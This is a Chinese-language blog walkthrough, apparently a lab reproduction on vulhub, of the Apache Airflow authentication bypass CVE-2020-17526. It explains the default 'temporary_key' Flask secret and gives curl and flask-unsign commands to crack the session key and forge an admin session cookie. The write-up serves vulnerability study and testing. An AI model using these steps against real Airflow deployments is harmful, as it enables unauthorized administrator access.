Apache Airflow 身份验证绕过 (CVE-2020-17526)

本文介绍了ApacheAirflow中的一个漏洞,CVE-2020-17526,由于默认安全密钥配置导致身份验证信息易受攻击。攻击者可通过复现漏洞利用会话cookie在远程计算机上冒充管理员。文章详细描述了漏洞成因、复现步骤和利用工具如Flask-Unsign进行破解的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache Airflow简介


Apache Airflow是python语言编写的一个以编程方式创作、安排和监控工作流程的平台。
除了几个服务器端 python 脚本之外,它还有一个基于Flask编写的Web应用程序,该Web 应用程序 使用Flask 的无状态签名 cookie 来存储和管理成功的身份验证。在安装过程中,可以使用Airflow命令创建用户,在文档中该用户是具有管理员角色的用户。任何后续用户都可以使用Airflow python 脚本从 Web 界面或命令行创建。
 

漏洞成因

Airflow<=1.10.13版本

CVE-2020-17526漏洞成因是:
由于使用默认安全密钥对身份验证信息进行签名,导致安全配置错误。当用户登录时,会设置一个名为session的 cookie ,其中包含 json 格式的用户认证信息。json 中名为user_id的密钥标识了登录的用户。此 json 使用在airflow.cfg配置文件中配置的字符串进行签名。在 1.10.15 和 2.0.2 版本之前,此字符串设置为temporary_key。官方文档和安装消息都没有说明更改此密钥。

默认密钥为temporary_key造成的问题:
攻击者可以创建与目标相同版本的本地安装,以管理员身份登录并将会话cookie重播到目标以在远程计算机上以管理员身份登录。
在这种情况下,可以使用工具来解密和识别明文 json 字符串,然后更新user_id参数并将 cookie 重新发送到服务器以模拟指定了user_id的用户。

curl -v url:显示url的整个响应过程
flask-unisign解释:上文提到web程序是基于Flask编写,Flask cookie 是经过签名而不是加密的,因此获得会话 cookie 后,可以尝试暴力破解服务器的密钥。

漏洞复现 

以vluhub靶场为例:
docker-compose run airflow-init
docker-compose up -d

 

登录界面如下:

 

访问登陆页面,从Cookie 中获取会话字符串:

curl -v http://192.168.217.130:8080/admin/airflow/login

 

 

安装flask-unsign工具,破解会话密钥

pip3 install flask-unsign[wordlist]
pip3 install flask-unsign

 

lask-unsign -u -c eyJjc3JmX3Rva2VuIjoiZjVhYWNkMjA2NDE0NDkxMjhlYTkyYmVkZGI4NTkwYzdlMzhmOWIwNyJ9.ZTiIMw.lCW8tVD9T6Lr5MGqCsmzFnkRNHE

 

 

 

利用获取到的密钥,生成user_id为1的会话:

flask-unsign -s --secret " temporary_key" -c "{'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}

 

 利用得到的session替换掉原本的的session:

访问成功:

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值